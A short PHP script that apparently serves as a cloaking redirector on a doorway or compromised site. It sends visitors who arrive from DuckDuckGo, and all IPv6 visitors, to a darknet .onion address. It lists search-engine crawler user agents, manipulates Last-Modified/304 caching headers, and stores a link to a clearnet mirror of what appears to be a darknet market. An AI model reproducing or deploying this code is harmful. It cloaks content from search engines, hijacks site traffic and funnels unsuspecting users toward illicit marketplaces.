<?php

$targetSearchEngine = 'https://duckduckgo.com/';


$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';


if ($referrer== $targetSearchEngine) {

   header('Location: http://darknetexbhd43il5kugevjnmnmpdrwaacstarbr4h37ng2j45zhq3qd.onion/');
    exit;
}


function isValidIPv6($ip) {
    return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false;
}

$userIp = $_SERVER['REMOTE_ADDR'];
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
    $userIp = $_SERVER['HTTP_CF_CONNECTING_IP'];
}


if (isValidIPv6($userIp)) {
  
    header('Location: http://darknetexbhd43il5kugevjnmnmpdrwaacstarbr4h37ng2j45zhq3qd.onion/');
    exit;
}

$searchEngines = [
    'duckduckgo.com'
];



$searchEngineBots = [
    'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'Sogou', 
    'Exabot', 'facebookexternalhit', 'facebot', 'ia_archiver'
];


$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';


$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';


$isFromSearchEngine = false;

$isSearchBot = false;

foreach ($searchEngines as $searchEngine) {
    if (strpos($referrer, $searchEngine) !== false) {
        $isFromSearchEngine = true;
        break;
    }
}




if (!$isFromSearchEngine ) {
    $good=0;
    $butto="#";

}else{

    $good=1;
}


$LastModified_unix = strtotime(date("D, d M Y H:i:s", filectime($_SERVER['SCRIPT_FILENAME'])));
$LastModified = gmdate("D, d M Y H:i:s \G\M\T", $LastModified_unix);
$IfModifiedSince = false;

if (isset($_ENV['HTTP_IF_MODIFIED_SINCE']))
   $IfModifiedSince = strtotime(substr ($_ENV['HTTP_IF_MODIFIED_SINCE'], 5));

if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
   $IfModifiedSince = strtotime(substr ($_SERVER['HTTP_IF_MODIFIED_SINCE'], 5));

if ($IfModifiedSince && $IfModifiedSince -->= $LastModified_unix) {
   header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified');
   exit;
}

header('Last-Modified: '. $LastModified);

$LINK='https://kraken2trfqodidvlh4aa337cpzfrhdlfldhve5nf7njhuhgwr7instadonion.com';